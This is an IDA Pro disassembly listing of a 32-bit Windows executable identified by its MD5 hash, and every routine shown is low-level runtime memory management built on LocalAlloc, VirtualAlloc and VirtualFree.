;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	AD8C469D628E3D5BF23F0216B7720A15

; File Name   :	u:\work\ad8c469d628e3d5bf23f0216b7720a15_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	10000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004244 (  16964.)
; Section size in file		: 00004400 (  17408.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 11000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RaiseException. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION UnhandledExceptionFilter.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetStartupInfoA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetVersion. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11098	proc near		; CODE XREF: sub_138CC+71p

var_1C		= byte ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp		; lpStartupInfo
		call	GetStartupInfoA	; GetStartupInfoA
		test	[esp+48h+var_1C], 1
		jz	short loc_110B3
		movzx	ebx, [esp+48h+var_18]


loc_110B3:				; CODE XREF: sub_11098+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_11098	endp

; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalFree. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VirtualAlloc. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VirtualFree. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION InitializeCriticalSection. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION EnterCriticalSection. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LeaveCriticalSection. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION DeleteCriticalSection. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_110FC	proc near		; CODE XREF: sub_11188+9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF4h
		mov	ebx, offset dword_175D0
		cmp	dword ptr [ebx], 0
		jnz	short loc_11163
		push	644h		; uBytes
		push	0		; uFlags
		call	LocalAlloc	; LocalAlloc
		mov	[esp+10h+var_8], eax
		cmp	[esp+10h+var_8], 0
		jnz	short loc_11128
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		jmp	short loc_11178
; ---------------------------------------------------------------------------


loc_11128:				; CODE XREF: sub_110FC+23j
		mov	eax, [esp+10h+var_8]
		mov	edx, ds:dword_175CC
		mov	[eax], edx
		mov	eax, [esp+10h+var_8]
		mov	ds:dword_175CC,	eax
		xor	eax, eax


loc_1113F:				; CODE XREF: sub_110FC+65j
		mov	edx, eax
		add	edx, edx
		mov	ecx, [esp+10h+var_8]
		lea	edx, [ecx+edx*8+4]
		mov	[esp+10h+var_C], edx
		mov	edx, [esp+10h+var_C]
		mov	ecx, [ebx]
		mov	[edx], ecx
		mov	edx, [esp+10h+var_C]
		mov	[ebx], edx
		inc	eax
		cmp	eax, 64h
		jnz	short loc_1113F


loc_11163:				; CODE XREF: sub_110FC+Cj
		mov	eax, [ebx]
		mov	[esp+10h+var_C], eax
		mov	eax, [esp+10h+var_C]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [esp+10h+var_C]
		mov	[esp+10h+var_10], eax


loc_11178:				; CODE XREF: sub_110FC+2Aj
		mov	eax, [esp+10h+var_10]
		add	esp, 0Ch
		pop	ebx
		retn
sub_110FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_11180	proc near		; CODE XREF: sub_11904+34p
					; sub_11904+3Ep ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_11180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11188	proc near		; CODE XREF: sub_11218+71p
					; sub_112A0+96p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		call	sub_110FC
		mov	[esp+10h+var_C], eax
		cmp	[esp+10h+var_C], 0
		jnz	short loc_111A5
		xor	eax, eax
		jmp	short loc_111DF
; ---------------------------------------------------------------------------


loc_111A5:				; CODE XREF: sub_11188+17j
		mov	eax, [esi]
		mov	edx, [esp+10h+var_C]
		mov	[edx+8], eax
		mov	eax, [esi+4]
		mov	edx, [esp+10h+var_C]
		mov	[edx+0Ch], eax
		mov	eax, [ebx]
		mov	[esp+10h+var_10], eax
		mov	eax, [esp+10h+var_C]
		mov	edx, [esp+10h+var_10]
		mov	[eax], edx
		mov	eax, [esp+10h+var_C]
		mov	[eax+4], ebx
		mov	eax, [esp+10h+var_10]
		mov	edx, [esp+10h+var_C]
		mov	[eax+4], edx
		mov	eax, [esp+10h+var_C]
		mov	[ebx], eax
		mov	al, 1


loc_111DF:				; CODE XREF: sub_11188+1Bj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_11188	endp


; =============== S U B	R O U T	I N E =======================================



sub_111E4	proc near		; CODE XREF: sub_11218+37p
					; sub_11218+56p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		add	esp, 0FFFFFFF8h
		mov	edx, [eax+4]
		mov	[esp+8+var_8], edx
		mov	edx, [eax]
		mov	[esp+8+var_4], edx
		mov	edx, [esp+8+var_8]
		mov	ecx, [esp+8+var_4]
		mov	[edx], ecx
		mov	edx, [esp+8+var_4]
		mov	ecx, [esp+8+var_8]
		mov	[edx+4], ecx
		mov	edx, ds:dword_175D0
		mov	[eax], edx
		mov	ds:dword_175D0,	eax
		pop	ecx
		pop	edx
		retn
sub_111E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11218	proc near		; CODE XREF: sub_11684+80p
					; sub_1172C+78p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, ecx
		mov	esi, eax
		mov	edi, esp
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [edx]
		mov	[ebx], eax
		mov	eax, [edx+4]
		mov	[ebx+4], eax


loc_11233:				; CODE XREF: sub_11218+6Bj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[esp+18h+var_14], eax
		mov	edx, [edi]
		mov	edx, [edx+8]
		mov	ecx, edx
		mov	ebp, [edi]
		add	ecx, [ebp+0Ch]
		mov	eax, [ebx]
		cmp	ecx, eax
		jnz	short loc_11265
		mov	eax, [edi]
		call	sub_111E4
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[ebx], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax
		jmp	short loc_1127B
; ---------------------------------------------------------------------------


loc_11265:				; CODE XREF: sub_11218+33j
		add	eax, [ebx+4]
		cmp	edx, eax
		jnz	short loc_1127B
		mov	eax, [edi]
		call	sub_111E4
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax


loc_1127B:				; CODE XREF: sub_11218+4Bj
					; sub_11218+52j
		mov	eax, [esp+18h+var_14]
		mov	[edi], eax
		cmp	esi, [edi]
		jnz	short loc_11233
		mov	edx, ebx
		mov	eax, esi
		call	sub_11188
		test	al, al
		jnz	short loc_11296
		xor	eax, eax
		mov	[ebx], eax


loc_11296:				; CODE XREF: sub_11218+78j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11218	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_112A0	proc near		; CODE XREF: sub_11870+82p
					; sub_11CF4+ABp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], eax
		mov	esi, esp
		mov	eax, [esi]
		mov	[esp+20h+var_14], eax


loc_112B2:				; CODE XREF: sub_112A0+B3j
		mov	ecx, [edx]
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ecx, eax
		jb	loc_11347
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jb	short loc_11347
		cmp	ecx, eax
		jnz	short loc_112F6
		mov	eax, [edx+4]
		mov	ecx, [esi]
		add	[ecx+8], eax
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_11343
		mov	eax, [esi]
		call	sub_111E4
		jmp	short loc_11343
; ---------------------------------------------------------------------------


loc_112F6:				; CODE XREF: sub_112A0+33j
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jnz	short loc_11310
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		jmp	short loc_11343
; ---------------------------------------------------------------------------


loc_11310:				; CODE XREF: sub_112A0+64j
		mov	ebx, [edx]
		add	ebx, [edx+4]
		mov	[esp+20h+var_1C], ebx
		mov	edi, [esi]
		mov	edi, [edi+8]
		mov	ebp, [esi]
		add	edi, [ebp+0Ch]
		sub	edi, ebx
		mov	[esp+20h+var_18], edi
		sub	ecx, eax
		mov	eax, [esi]
		mov	[eax+0Ch], ecx
		lea	edx, [esp+20h+var_1C]
		mov	eax, [esi]
		call	sub_11188
		test	al, al
		jnz	short loc_11343
		xor	eax, eax
		jmp	short loc_1135B
; ---------------------------------------------------------------------------


loc_11343:				; CODE XREF: sub_112A0+4Bj
					; sub_112A0+54j ...
		mov	al, 1
		jmp	short loc_1135B
; ---------------------------------------------------------------------------


loc_11347:				; CODE XREF: sub_112A0+1Bj
					; sub_112A0+2Fj
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax
		mov	eax, [esi]
		cmp	eax, [esp+20h+var_14]
		jnz	loc_112B2
		xor	eax, eax


loc_1135B:				; CODE XREF: sub_112A0+A1j
					; sub_112A0+A5j
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_112A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11364	proc near		; CODE XREF: sub_11684+6Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_1137A
		mov	esi, 100000h
		jmp	short loc_11386
; ---------------------------------------------------------------------------


loc_1137A:				; CODE XREF: sub_11364+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_11386:				; CODE XREF: sub_11364+14j
		mov	[ebx+4], esi
		push	1		; flProtect
		push	2000h		; flAllocationType
		push	esi		; dwSize
		push	0		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_113C3
		mov	edx, ebx
		mov	eax, offset dword_175D4
		call	sub_11188
		test	al, al
		jnz	short loc_113C3
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [ebx]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_113C3:				; CODE XREF: sub_11364+3Aj
					; sub_11364+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11364	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_113C8	proc near		; CODE XREF: sub_1172C+62p
					; sub_1172C+A9p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4		; flProtect
		push	2000h		; flAllocationType
		push	100000h		; dwSize
		push	ebp		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_11412
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4		; flProtect
		push	2000h		; flAllocationType
		push	esi		; dwSize
		push	ebp		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		mov	[ebx], eax


loc_11412:				; CODE XREF: sub_113C8+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_1143A
		mov	edx, ebx
		mov	eax, offset dword_175D4
		call	sub_11188
		test	al, al
		jnz	short loc_1143A
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [ebx]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_1143A:				; CODE XREF: sub_113C8+4Dj
					; sub_113C8+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_113C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_11440	proc near		; CODE XREF: sub_11684+95p
					; sub_1172C+90p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	edi, ecx
		mov	esi, esp
		mov	[esp+28h+var_20], 0FFFFFFFFh
		xor	ecx, ecx
		mov	[esp+28h+var_1C], ecx
		mov	[esp+28h+var_18], eax
		add	edx, [esp+28h+var_18]
		mov	[esp+28h+var_14], edx
		mov	eax, ds:dword_175D4
		mov	[esi], eax
		jmp	short loc_114D9
; ---------------------------------------------------------------------------


loc_1146E:				; CODE XREF: sub_11440+A0j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esp+28h+var_24], eax
		mov	eax, [esi]
		mov	ebx, [eax+8]
		cmp	ebx, [esp+28h+var_18]
		jb	short loc_114D3
		mov	eax, ebx
		mov	edx, [esi]
		add	eax, [edx+0Ch]
		cmp	eax, [esp+28h+var_14]
		ja	short loc_114D3
		cmp	ebx, [esp+28h+var_20]
		jnb	short loc_11498
		mov	[esp+28h+var_20], ebx


loc_11498:				; CODE XREF: sub_11440+52j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		mov	eax, [esi]
		add	ebp, [eax+0Ch]
		cmp	ebp, [esp+28h+var_1C]
		jbe	short loc_114AC
		mov	[esp+28h+var_1C], ebp


loc_114AC:				; CODE XREF: sub_11440+66j
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [esi]
		mov	eax, [eax+8]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		test	eax, eax
		jnz	short loc_114CC
		mov	ds:dword_175B0,	1


loc_114CC:				; CODE XREF: sub_11440+80j
		mov	eax, [esi]
		call	sub_111E4


loc_114D3:				; CODE XREF: sub_11440+3Fj
					; sub_11440+4Cj
		mov	eax, [esp+28h+var_24]
		mov	[esi], eax


loc_114D9:				; CODE XREF: sub_11440+2Cj
		mov	eax, offset dword_175D4
		cmp	eax, [esi]
		jnz	short loc_1146E
		xor	eax, eax
		mov	[edi], eax
		cmp	[esp+28h+var_1C], 0
		jz	short loc_114FE
		mov	eax, [esp+28h+var_20]
		mov	[edi], eax
		mov	eax, [esp+28h+var_1C]
		sub	eax, [esp+28h+var_20]
		mov	[edi+4], eax


loc_114FE:				; CODE XREF: sub_11440+ABj
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11440	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=18h


sub_11508	proc near		; CODE XREF: sub_11684+35p
					; sub_1172C+100p

var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		mov	[esp+24h+var_3C], edx
		lea	esi, [esp+24h+var_34]
		lea	edi, [esp+24h+var_38]
		lea	ebp, [esp+0Ch]
		mov	edx, eax
		mov	ecx, edx
		and	ecx, 0FFFFF000h
		mov	[esp+24h+var_2C], ecx
		add	edx, [esp+24h+var_3C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+24h+var_28], edx
		mov	eax, [esp+24h+var_2C]
		mov	[ebx], eax
		mov	eax, [esp+24h+var_28]
		sub	eax, [esp+24h+var_2C]
		mov	[ebx+4], eax
		mov	eax, ds:dword_175D4
		mov	[edi], eax
		jmp	short loc_115B6
; ---------------------------------------------------------------------------


loc_1155B:				; CODE XREF: sub_11508+B5j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebp+18h+var_18], eax
		mov	eax, [esi]
		cmp	eax, [esp+24h+var_2C]
		jnb	short loc_1157A
		mov	eax, [esp+24h+var_2C]
		mov	[esi], eax


loc_1157A:				; CODE XREF: sub_11508+6Aj
		mov	eax, [ebp+18h+var_18]
		cmp	eax, [esp+24h+var_28]
		jbe	short loc_1158A
		mov	eax, [esp+24h+var_28]
		mov	[ebp+18h+var_18], eax


loc_1158A:				; CODE XREF: sub_11508+79j
		mov	eax, [esi]
		cmp	eax, [ebp+18h+var_18]
		jnb	short loc_115B0
		push	4		; flProtect
		push	1000h		; flAllocationType
		mov	eax, [ebp+18h+var_18]
		sub	eax, [esi]
		push	eax		; dwSize
		mov	eax, [esi]
		push	eax		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		test	eax, eax
		jnz	short loc_115B0
		xor	eax, eax
		mov	[ebx], eax
		jmp	short loc_115BF
; ---------------------------------------------------------------------------


loc_115B0:				; CODE XREF: sub_11508+87j
					; sub_11508+A0j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_115B6:				; CODE XREF: sub_11508+51j
		mov	eax, offset dword_175D4
		cmp	eax, [edi]
		jnz	short loc_1155B


loc_115BF:				; CODE XREF: sub_11508+A6j
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11508	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_115C8	proc near		; CODE XREF: sub_11870+36p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebx, [esp+28h+var_1C]
		mov	edx, eax
		mov	ebp, edx
		add	ebp, 0FFFh
		and	ebp, 0FFFFF000h
		mov	[esp+28h+var_18], ebp
		add	edx, [esp+28h+var_28]
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ecx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ecx+4], eax
		mov	eax, ds:dword_175D4
		mov	[edi], eax
		jmp	short loc_11671
; ---------------------------------------------------------------------------


loc_11619:				; CODE XREF: sub_115C8+B0j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebx], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_11637
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_11637:				; CODE XREF: sub_115C8+67j
		mov	eax, [ebx]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_11645
		mov	eax, [esp+28h+var_14]
		mov	[ebx], eax


loc_11645:				; CODE XREF: sub_115C8+75j
		mov	eax, [esi]
		cmp	eax, [ebx]
		jnb	short loc_1166B
		push	4000h		; dwFreeType
		mov	eax, [ebx]
		sub	eax, [esi]
		push	eax		; dwSize
		mov	eax, [esi]
		push	eax		; lpAddress
		call	VirtualFree	; VirtualFree
		test	eax, eax
		jnz	short loc_1166B
		mov	ds:dword_175B0,	2


loc_1166B:				; CODE XREF: sub_115C8+81j
					; sub_115C8+97j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_11671:				; CODE XREF: sub_115C8+4Fj
		mov	eax, offset dword_175D4
		cmp	eax, [edi]
		jnz	short loc_11619
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_115C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_11684	proc near		; CODE XREF: sub_11F80+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	edi, esp
		mov	ebp, offset dword_175E4
		add	esi, 3FFFh
		and	esi, 0FFFFC000h


loc_116A2:				; CODE XREF: sub_11684+8Aj
		mov	eax, [ebp+0]
		mov	[edi], eax
		jmp	short loc_116EA
; ---------------------------------------------------------------------------


loc_116A9:				; CODE XREF: sub_11684+68j
		mov	eax, [edi]
		cmp	esi, [eax+0Ch]
		jg	short loc_116E4
		mov	ecx, ebx
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	edx, esi
		call	sub_11508
		cmp	dword ptr [ebx], 0
		jz	short loc_11722
		mov	eax, [ebx+4]
		mov	edx, [edi]
		add	[edx+8], eax
		mov	eax, [ebx+4]
		mov	edx, [edi]
		sub	[edx+0Ch], eax
		mov	eax, [edi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_11722
		mov	eax, [edi]
		call	sub_111E4
		jmp	short loc_11722
; ---------------------------------------------------------------------------


loc_116E4:				; CODE XREF: sub_11684+2Aj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_116EA:				; CODE XREF: sub_11684+23j
		cmp	ebp, [edi]
		jnz	short loc_116A9
		mov	edx, ebx
		mov	eax, esi
		call	sub_11364
		cmp	dword ptr [ebx], 0
		jz	short loc_11722
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, ebx
		mov	eax, ebp
		call	sub_11218
		cmp	[esp+1Ch+var_18], 0
		jnz	short loc_116A2
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, [ebx+4]
		mov	eax, [ebx]
		call	sub_11440
		xor	eax, eax
		mov	[ebx], eax


loc_11722:				; CODE XREF: sub_11684+3Dj
					; sub_11684+55j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_11684	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1172C	proc near		; CODE XREF: sub_11FAC+10p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], ecx
		mov	edi, edx
		mov	ebx, eax
		lea	esi, [esp+28h+var_24]
		mov	ebp, offset dword_175E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_1174F:				; CODE XREF: sub_1172C+82j
					; sub_1172C+C9j
		mov	eax, [ebp+0]
		mov	[esi], eax
		jmp	short loc_1175C
; ---------------------------------------------------------------------------


loc_11756:				; CODE XREF: sub_1172C+39j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax


loc_1175C:				; CODE XREF: sub_1172C+28j
		cmp	ebp, [esi]
		jz	short loc_11767
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_11756


loc_11767:				; CODE XREF: sub_1172C+32j
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_117CD
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jle	loc_11815
		mov	eax, [esi]
		mov	edx, edi
		sub	edx, [eax+0Ch]
		mov	eax, [esi]
		mov	eax, [eax+8]
		mov	ecx, [esi]
		add	eax, [ecx+0Ch]
		lea	ecx, [esp+28h+var_20]
		call	sub_113C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_117CD
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_11218
		cmp	[esp+28h+var_18], 0
		jnz	short loc_1174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_11440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_11867
; ---------------------------------------------------------------------------


loc_117CD:				; CODE XREF: sub_1172C+40j
					; sub_1172C+6Cj
		lea	ecx, [esp+28h+var_20]
		mov	edx, edi
		mov	eax, ebx
		call	sub_113C8
		cmp	[esp+28h+var_20], 0
		jz	short loc_11815
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_11218
		cmp	[esp+28h+var_18], 0
		jnz	loc_1174F
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_11440
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_11867
; ---------------------------------------------------------------------------


loc_11815:				; CODE XREF: sub_1172C+47j
					; sub_1172C+B3j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		cmp	ebx, ebp
		jnz	short loc_11860
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jg	short loc_11860
		mov	ecx, [esp+28h+var_28]
		mov	eax, ebp
		mov	edx, edi
		call	sub_11508
		mov	eax, [esp+28h+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_11867
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		add	[edx+8], eax
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_11867
		mov	eax, [esi]
		call	sub_111E4
		jmp	short loc_11867
; ---------------------------------------------------------------------------


